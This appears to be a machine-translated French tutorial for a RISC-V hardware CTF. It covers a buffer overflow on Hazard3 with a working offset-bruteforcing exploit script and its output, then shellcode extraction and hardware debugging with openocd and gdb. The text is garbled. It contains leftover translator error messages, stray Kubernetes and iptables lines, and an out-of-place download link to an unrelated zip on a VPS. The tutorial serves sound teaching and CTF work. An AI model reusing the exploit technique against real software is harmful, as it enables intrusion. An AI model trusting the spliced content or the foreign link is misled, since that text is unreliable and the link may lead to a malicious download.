spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Après dotest.sh, voici la sortie.```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810
tp 00000000 t0 000003e8 t1 0000006a t2 00000001
s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4
a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041
a6 ffffffff a7 00000040 s2 00000000 s3 00000000
s4 00000000 s5 00000000 s6 00000000 s7 00000000
s8 00000000 s9 00000000 sA 00000000 sB 00000000
t3 00000000 t4 00000000 t5 00008801 t6 00000005
pc 41414140 va/inst 41414140 sr 80006020
User fetch segfault @ 0x41414140
Comme vous pouvez le voir, nous avons réussi à faire déborder le tampon et à contrôler le compteur de programme (pc) pour pointer vers 0x41414140, ce qui correspond à 'AAAA' en ASCII.
Créons maintenant le payload d'exploit PoC CRAP pour rediriger l'exécution vers la fonction func_impossible.
Pour créer le payload d'exploit, nous devons déterminer le bon décalage pour écraser l'adresse de retour, puis ajouter l'adresse de la fonction func_impossible.
xpl.sh``` #!/usr/bin/env bash
set -e
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..." $CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..." FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then echo "[-] Error: Could not get func_impossible address" exit 1 fi
echo "[+] func_impossible address: $FUNC_ADDR"
ADDR_DEC=$((FUNC_ADDR)) BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF))) BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF))) BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF))) BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \x$BYTE1 \x$BYTE2 \x$BYTE3 \x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100" exit 1
Exemple de sortie après l'exécution de xpl.sh```
[+] Compiling test.c...
[+] Getting func_impossible address...
[+] func_impossible address: 0x101e2
[+] Address bytes (little-endian): \xe2 \x01 \x01 \x00
[+] Starting bruteforce for offset...
[*] Testing offset: 10
[*] Testing offset: 11
[*] Testing offset: 12
[*] Testing offset: 13
[*] Testing offset: 14
[*] Testing offset: 15
[*] Testing offset: 16
[*] Testing offset: 17
[*] Testing offset: 18
[*] Testing offset: 19
[*] Testing offset: 20
[*] Testing offset: 21
[+] SUCCESS! Offset found: 21
[+] Exploit payload saved to: exploit_payload.bin
[+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101e2
argv 1: AAAAAAAAAAAAAAAAAAAAA�
�AAAAAAAAA�
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
This function is impossible to reach
good hacker!
[+] To reproduce:
/home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
Le script `xpl.sh` est un POC bricolé qui réussit à bruteforcer l'offset nécessaire pour atteindre la fonction `func_impossible`. Vous devrez peut-être modifier ou adapter l'exploit en fonction de vos besoins spécifiques.
# Écriture de payload / shellcode pour RISC-V Hazard3
Cette section illustre la transition du code C de haut niveau vers un shellcode d'instructions brutes pour le cœur RISC-V Hazard3. Nous partirons d'un projet Pico SDK standard et retirerons progressivement les abstractions jusqu'à pouvoir exécuter du code machine brut depuis un tableau d'octets.
Installez la chaîne d'outils de compilation croisée et clonez le Pico SDK.```
# Install dependencies
sudo apt-get update
sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
Sur la page des versions, vous trouverez tous les paquets disponibles pour la version actuelle.```
cd && mkdir ~/PAYLOAD
The input content is empty — no text was provided to translate. Please supply the chunk content and I’ll translate it into French.```
# Clone SDK v2.2.0
cd ~/PAYLOAD
git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
Configurez le projet spécifiquement pour le RP2350 en utilisant l'architecture RISC-V. Notez que nous définissons les versions de la plateforme et de la chaîne d'outils pour garantir la compatibilité.
Fichier : `~/PAYLOAD/CMakeLists.txt```` set(PICO_PLATFORM rp2350-riscv) set(PICO_BOARD pico2 CACHE STRING "Board type") set(sdkVersion 2.2.0) set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc poc.c )
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1) pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
## Un simple fichier C
Nous commençons par un simple programme C qui bascule une GPIO. Cette version repose sur des fonctions externes du SDK.
Fichier : `~/PAYLOAD/poc.c````
#include <stdio.h>
#include "pico/stdlib.h"
static void __attribute__((optimize("O0"))) onled(void) {
gpio_put(25, 1);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Compilez le projet et inspectez le binaire résultant.``` cd ~/PAYLOAD/ rm -rf build/ && cmake -S . -B build && make -C build -j
Fichier : `~/PAYLOAD/build/poc.elf````
~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
Si nous vérifions le désassemblage, nous pouvons voir comment le compilateur gère les appels de fonction.
Fichier : `~/PAYLOAD/build/poc.dis```` .... 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 2031 jal 10000146 <gpio_put> 1000013c: 0001 nop 1000013e: 40b2 lw ra,12(sp) 10000140: 4422 lw s0,8(sp) 10000142: 0141 addi sp,sp,16 10000144: 8082 ret .... 10000146 <gpio_put>: 10000146: 28a01533 bset a0,zero,a0 1000014a: d00007b7 lui a5,0xd0000 1000014e: c199 beqz a1,10000154 <gpio_put+0xe> 10000150: cf88 sw a0,24(a5) 10000152: 8082 ret 10000154: d388 sw a0,32(a5) 10000156: 8082 ret ....
## Un fichier C avec du code asm (sans appel externe)
Pour créer un payload autonome, nous devons éviter les sauts externes. Nous réécrivons la fonction en utilisant l'assembleur inline pour interagir directement avec les registres matériels.
Fichier : `~/PAYLOAD/poc_with_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
__attribute__((naked, optimize("O0"))) void onled(void) {
__asm__ volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
);
}
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Maintenant, le désassemblage montre que la fonction est désormais entièrement autonome :
Fichier : `~/PAYLOAD/build/poc_with_asm.dis```` 1000012e : 1000012e: 1141 addi sp,sp,-16 10000130: c606 sw ra,12(sp) 10000132: c422 sw s0,8(sp) 10000134: 0800 addi s0,sp,16 10000136: 4585 li a1,1 10000138: 4565 li a0,25 1000013a: 28a01533 bset a0,zero,a0 1000013e: d00007b7 lui a5,0xd0000 10000142: c199 beqz a1,10000148 <onled+0x1a> 10000144: cf88 sw a0,24(a5) 10000146: a011 j 1000014a <onled+0x1c> 10000148: d388 sw a0,32(a5) 1000014a: 0001 nop 1000014c: 40b2 lw ra,12(sp) 1000014e: 4422 lw s0,8(sp) 10000150: 0141 addi sp,sp,16 10000152: 8082 ret 10000154: 0001 nop
## Un fichier C avec du code payload / style shellcode
Extrayez les opcodes dans un tableau d'octets et exécutez-le en le castant en pointeur de fonction.
Fichier : `~/PAYLOAD/poc_payload_asm.c````
#include <stdio.h>
#include "pico/stdlib.h"
unsigned char payload[] = {
"\x41\x11" // 1141
"\x06\xc6" // c606
"\x22\xc4" // c422
"\x00\x08" // 0800
"\x85\x45" // 4585
"\x65\x45" // 4565
"\x33\x15\xa0\x28" // 28a01533
"\xb7\x07\x00\xd0" // d00007b7
"\x99\xc1" // c199
"\x88\xcf" // cf88
"\x11\xa0" // a011
"\x88\xd3" // d388
"\x01\x00" // 0001
"\xb2\x40" // 40b2
"\x22\x44" // 4422
"\x41\x01" // 0141
"\x82\x80" // 8082
"\x01\x00" // 0001
};
int main() {
gpio_init(25);
gpio_set_dir(25, GPIO_OUT);
((void (*)(void))(void*)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
Après la compilation, nous pouvons vérifier que le payload est correctement mappé en mémoire
Fichier : `~/PAYLOAD/build/poc_payload_asm.dis```` 20000e74 : 20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..( 20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@ 20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
# Débogage matériel
L'un des défis vous demande de faire équipe avec un autre participant ou de posséder deux cartes RP2350 pour effectuer un véritable débogage matériel ; apprenons comment faire.
(Vous devez avoir pico-sdk installé)
/etc/udev/rules.d/99-pico.rules```
# BOOTSEL mass storage
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
# Pico normal mode (USB CDC/HID); útil para picotool
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
# CMSIS-DAP probes (ej. RP Debug)
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1 SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev" KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
[No input content provided to translate.]```
sudo udevadm control -R
Tout d’abord, vous devez flasher un firmware RISCV .uf2 sur la carte cible. Comme le CTF utilise un firmware RISCV, cette étape n’est pas nécessaire. Et d’ailleurs, vous voulez déboguer ce firmware !
Convertissez une carte RP2350 en carte Hardware-Debugger avec ce firmware : https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Connectez la carte de débogage matérielle à la carte cible

Connectez RISCV-openocd``` cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
* Analyse d'exécution Kubernetes
* Analyse d'infrastructure Kubernetes
* Analyse de conformité Kubernetes```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd \
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts \
-f interface/cmsis-dap.cfg \
-f target/rp2350-riscv.cfg \
-c "set USE_CORE { rv0 }" \
-c "adapter speed 5000" \
-c "gdb breakpoint_override hard" \
-c "init"
Sortie :``` Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15) Licensed under GNU GPL v2 For bug reports, read http://openocd.org/doc/doxygen/bugs.html Info : [rp2350.rv0] Hardware thread awareness created Info : [rp2350.rv1] Hardware thread awareness created ocd_process_reset_inner rv0 adapter speed: 5000 kHz force hard breakpoints Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729 Info : CMSIS-DAP: SWD supported Info : CMSIS-DAP: Atomic commands supported Info : CMSIS-DAP: Test domain timer supported Info : CMSIS-DAP: FW Version = 2.0.0 Info : CMSIS-DAP: Interface Initialised (SWD) Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0 Info : CMSIS-DAP: Interface ready Info : clock speed 5000 kHz Info : SWD DPIDR 0x4c013477 Info : [rp2350.rv0] datacount=1 progbufsize=2 Info : [rp2350.rv0] Disabling abstract command reads from CSRs. Info : [rp2350.rv0] Disabling abstract command writes to CSRs. Info : [rp2350.rv0] Core 0 could not be made part of halt group 1. Info : [rp2350.rv0] Examined RISC-V core Info : [rp2350.rv0] XLEN=32, misa=0x40901105 Info : [rp2350.rv0] Examination succeed Info : [rp2350.rv1] datacount=1 progbufsize=2 Info : [rp2350.rv1] Disabling abstract command reads from CSRs. Info : [rp2350.rv1] Disabling abstract command writes to CSRs. Info : [rp2350.rv1] Core 1 could not be made part of halt group 1. Info : [rp2350.rv1] Examined RISC-V core Info : [rp2350.rv1] XLEN=32, misa=0x40901105 Info : [rp2350.rv1] Examination succeed Info : [rp2350.rv0] starting gdb server on 3333 Info : Listening on port 3333 for gdb connections Info : Listening on port 6666 for tcl connections Info : Listening on port 4444 for telnet connections
Maintenant, connectez RISCV-GDB :```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q \
-ex "set pagination off" \
-ex "set remote interrupt-on-connect off" \
-ex "target remote localhost:3333" \
-ex "monitor targets rp2350.rv0" \
-ex "monitor halt" \
-ex "info reg"
I'm unable to translate this chunk because the input content is missing. No text was provided after "INPUT:", so there is nothing to translate. Please provide the source content for chunk 157 of 179.``` Remote debugging using localhost:3333 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x20001d56 in ?? () rp2350.rv0 halted due to breakpoint. rp2350.rv1 halted due to debug-request. ra 0x2001041c 0x2001041c sp 0x20010400 0x20010400 gp 0x20031455 0x20031455 tp 0x0 0x0 t0 0x2000d7ba 536926138 t1 0x6a8c 27276 t2 0x200103a0 536937376 fp 0x20082000 0x20082000 s1 0x20010450 536937552 a0 0x0 0 a1 0x7232 29234 a2 0xffa00000 -6291456 a3 0x7206 29190 a4 0x0 0 a5 0xbdf0 48624 a6 0x7750 30544 a7 0x1 1 s2 0x10000036 268435510 s3 0x0 0 s4 0x0 0 s5 0x0 0 s6 0x0 0 s7 0x0 0 s8 0x0 0 s9 0x0 0 s10 0x0 0 s11 0x0 0 t3 0x200103d4 536937428 t4 0x0 0 t5 0x6b0c 27404 t6 0x74f8 29944 pc 0x20001d56 0x20001d56
Désassemblez 10 instructions à partir du pc actuel en utilisant x/10i $pc:```
(gdb) x/10i $pc
=> 0x20001d56: lui a5,0x20031
0x20001d5a: lbu a5,-931(a5)
0x20001d5e: .insn 2, 0x9fe1
0x20001d60: xori a5,a5,1
0x20001d64: .insn 2, 0x9fe1
0x20001d66: bnez a5,0x20001d54
0x20001d68: li a0,2000
0x20001d6c: jal 0x20004ce2
0x20001d70: nop
0x20001d72: li a5,1
À partir de ce point, vous pouvez déboguer la puce.

Achetez Black Magic Debug Probe : avec câble JTAG, câble UART 0.1" et adaptateur 20 broches :
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
ACTION!="add|change|bind", GOTO="blackmagic_rules_end" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}" SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess" SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess" LABEL="blackmagic_rules_end"
The input chunk is empty — there is no content to translate.```
sudo udevadm control -R
Mise à niveau:
Black Magic Debug pour BMP (cibles RISC-V):```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0
✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets)
✔ What action would you like to take with this firmware? · Flash to probe
Downloading requested firmware Found: Black Magic Probe 1.10.2
Serial: BEF6A9B0
Port: 1-3
Erasing flash...
Flashing...
100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
Définir la politique par défaut:
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
Aucun contenu fourni à traduire : le champ « INPUT » est vide.```
./bmputil-cli probe info
Found: Black Magic Probe 2.0.0
Serial: BEF6A9B0
Port: 1-3
Lien de téléchargement : http://vps-zha3dd2c.ovh/net/duabupcool.zip``` ./bmputil-cli probe update Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
Please provide the Markdown content to translate.```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
I don't see any content to translate. The input after "INPUT:" is empty. Please provide the actual Markdown content for chunk 177 of 179.``` (gdb) target extended-remote /dev/ttyBmpGdb Remote debugging using /dev/ttyBmpGdb (gdb) monitor auto_scan Target voltage: 3.3V JTAG scan found no devices, trying SWD! Available Targets: No. Att Driver 1 RP2350 rv32imac 2 RP2350 rv32imac (gdb) attach 1 Attaching to Remote target warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0x100000aa in ?? () (gdb) x/10i $pc => 0x100000aa: addi a1,a1,4 0x100000ac: addi a2,a2,4 0x100000ae: bltu a2,a3,0x100000a6 0x100000b2: ret 0x100000b4: addi a3,sp,128 0x100000b6: addi s0,sp,32 0x100000b8: unimp 0x100000ba: fld fs0,0(s0) 0x100000bc: sw a3,96(a5) 0x100000be: jal 0x100000be (gdb) c Continuing.
# Plus de documentation
- https://docs.riscv.org/reference/isa/
- https://github.com/riscv-software-src/riscv-isa-sim
- https://www.cs.sfu.ca/~ashriram/Courses/CS295/assets/notebooks/RISCV/RISCV_CARD.pdf
- https://github.com/Wren6991/Hazard3
- https://datasheets.raspberrypi.com/rp2350/rp2350-datasheet.pdf
- https://datasheets.raspberrypi.com/pico/getting-started-with-pico.pdf
- https://datasheets.raspberrypi.com/pico/raspberry-pi-pico-c-sdk.pdf
- https://www.raspberrypi.com/documentation/pico-sdk/index_doxygen.html
- https://github.com/raspberrypi/pico-examples